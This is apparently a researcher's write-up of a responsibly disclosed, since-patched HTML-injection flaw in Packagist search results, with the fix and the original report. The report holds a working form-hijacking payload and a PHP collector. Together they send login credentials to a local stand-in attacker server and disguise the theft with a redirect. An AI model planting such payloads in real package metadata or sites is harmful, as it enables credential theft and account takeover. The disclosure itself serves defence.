Security Vulnerability Discovered on packagist.org

Introduction

Packagist is a key piece of the dependency management and supply chain tooling for PHP. I have been conducting security research on it, and found this vulnerability.

The vulnerability was responsibly disclosed to the Packagist team. Extremely quickly, within a couple of working hours, Packagist patched their website.

The attack is an HTML injection in a field of package metadata relating to obsolete packages and suggested replacements. The data is persisted to a third party service, Algolia, and then retrieved and displayed in search results. The injection attack was escalated using form hijacking, achieving the impact of credential stealing on the login form.

The use case is quite narrow: the user would have to be using the search form, find a malicious, deprecated package, and decide to log in while the search results are available on the page. The form hijacking only works if the victim submits the form by pressing ENTER, not by clicking the button. Still, the maximum effect on target is an account takeover, so it needed to be responsibly disclosed.

The attack vector leaves and Indication of Compromise (IoC): HTML tags in the relevant database field for a malicious package. The Packagist team have been able to search the production database for the IoC, and have confirmed that the vulnerability was never exploited.

Security research was accelerated by my Nightwatch hackbot tool, which I will write further posts about as the project progresses.

Remediation

Packagist addressed the issue in PR #1949: Harden search result rendering and tighten the CSP. Jordi Boggiano explained that the report also prompted a stricter Content Security Policy (CSP). The changes protect against the attack at three points:

  1. Escape search results. Raw package fields, including replacementPackage, are HTML-escaped when rendered into search results, preventing metadata from becoming injected markup.
  2. Strip HTML before indexing. Free-text metadata, including the replacement-package field, has HTML tags removed before it is sent to the Algolia search index.
  3. Restrict form submissions. The CSP now includes form-action 'self', restricting form submission destinations to the same origin. This blocks the off-site destination used by the injected button in the proof of concept.

The vulnerability was reported late-night on Saturday 7th November 2026, and was patched the following Monday morning. This represents extremely quick remediation from Packagist.

The original vulnerability report, describing the behaviour before these fixes, is reproduced below.

Vulnerability Report - HTML Injection to Steal Password

Introduction

This vulnerability allows an attacker to steal the password of a visitor to the Packagist website, under limited circumstances. It has been tested in a local Docker development environment, but not on production infrastructure. The attack vector is HTML injection in package metadata.

The attack requires the victim to look at a specific search result on Packagist, while on the login page. They can do this by using the search bar and seeing live results a the top of the login page. HTML injection into the search result causes the username and password to be exfiltrated when the user authenticates using the login form.

Explanation

The replacementPackage value is inserted, without HTML escaping, into a live search result.

No Javascript injection is required or demonstrated, but we are able to effect HTML injection.

The injected button associates itself with the page_login form, and its formaction overrides the destination when that button becomes the submitter. Pressing ENTER in the password field selected it in our test.

The 307 redirected suggested for the Collector’s response allows the user to be redirected back to the login page, in a way that preserves the HTTP method used in the request. The POST request results in a normal-looking login failure or successful login as appropriate. This embellishment was added to obfuscate the attack.

Preconditions

Packagist Development Environment

Reproduce on a local development environment.

You will need an attacker account that can submit packages. You do not need a victim account: it is sufficient to act as an unauthenticated user when representing the victim. The attacker’s name will be ATTACKER here. Substitute your own value.

Algolia

A working search back-end is needed. Packagist uses Algolia, which is a 3rd party service. A free account is sufficient.

Go to https://www.algolia.com/pricing . Set up an account with an email address. Upon doing so, you can get a Search API Key, an Application ID, and a Admin API Key.

Create a .env.local in your local Packagist checkout:

ALGOLIA_APP_ID=YOUR_VALUE
ALGOLIA_ADMIN_KEY=YOUR_VALUE
ALGOLIA_SEARCH_KEY=YOUR_VALUE
ALGOLIA_INDEX_NAME=my-algolia-packagist-index

Set up and pre-fill your local Packagist. Run this on bare metal, or inside a PHP container if you are using one:

php bin/console algolia:configure
php bin/console packagist:index

Reproducible Steps

Step 1: Log in as attacker

Go to /login/ and log in as the attacker account you have created.

Step 2: Create a repo

Go to any version control system (e.g. Github, Gitlab) and create a PHP repo. We will call it github.com/ATTACKER/PACKAGE. Substitute your own values. Add this composer.json file:

{
  "name": "ATTACKER/PACKAGE",
  "description": "a package",
  "type": "library",
  "require": {
    "php": ">=8.1"
  }
}

Add a release tag 1.0.0 to your package.

Step 3: Add package to Packagist

Still as the attacker, go to /packages/submit. Paste your repo, like https://github.com/ATTACKER/PACKAGE. Click Submit.

Step 4: Prepare to abandon package

Go to /packages/ATTACKER/PACKAGE and click Manage > Abandon

Step 5: Add payload

In Replacement package, add this payload:

</a><button id=nw-hijack type=submit form=page_login formaction=http://127.0.0.1:8765/capture formmethod=post style=display:none></button>

N.b.: The localhost port refers to the Collector (see below). You may need to change the port number.

Step 6: Index the repo in search results

From within your Packagist clone, fill the search result into Algolia.

Recall that in the pre-conditions above, you set up an Algolia account and the .env.local file, and configured it.

On bare metal, or inside a PHP container if you are using one, run a command like:

php bin/console packagist:index ATTACKER/PACKAGE --no-ansi -v

You will need to substitute your own values.

Step 7: Create Collector

The Collector is a small local programme representing an attacker-controlled server. It listens for user data which is exfiltrated to it.

Create it at /tmp/collector.php:

<?php
error_log(json_encode($_POST, JSON_UNESCAPED_SLASHES));
header('Location: http://localhost:8000/login/', true, 307);

N.b.: The localhost port refers to your Packagist development environment. You may need to change the port number.

Run it in a terminal, and leave it running. The output will show you the credentials you have exfiltrated:

php -S 127.0.0.1:8765 /tmp/collector.php

N.b.: The localhost port refers to the Collector. It should be the same as in the HTML payload. You may need to change the port number.

Leave this running in a terminal window.

Step 8: Become the victim

N.b. These instructions only work the first time. Open a completely new private browsing session to repeat.

Packagist sign-in form with username and password fields

The Packagist sign-in form

Open a private browsing window, to represent an unauthenticated user. Visit the login page at /login/.

At the top, in the search bar, type whatever you called the package ATTACKER/PACKAGE. You should see a search result. Do not click it.

Enter any username and password. Do not click a button to submit the form. Ensure the password field is still focused. Press ENTER instead.

Step 9: View exfiltrated credentials

Look back at the Collector in your terminal. You should see a line like this:

[Sat Nov  7 18:18:30 2026] 127.0.0.1:58802 Accepted
[Sat Nov  7 18:18:30 2026] {"_username":"username","_password":"password","_remember_me":"on"}
[Sat Nov  7 18:18:30 2026] 127.0.0.1:58802 Closing

These are the stolen creds.

Step 10: Observe login outcome

You have been served a 307 redirect, preserving HTTP method and POST body. This means you should have had a normal login experience, as the victim.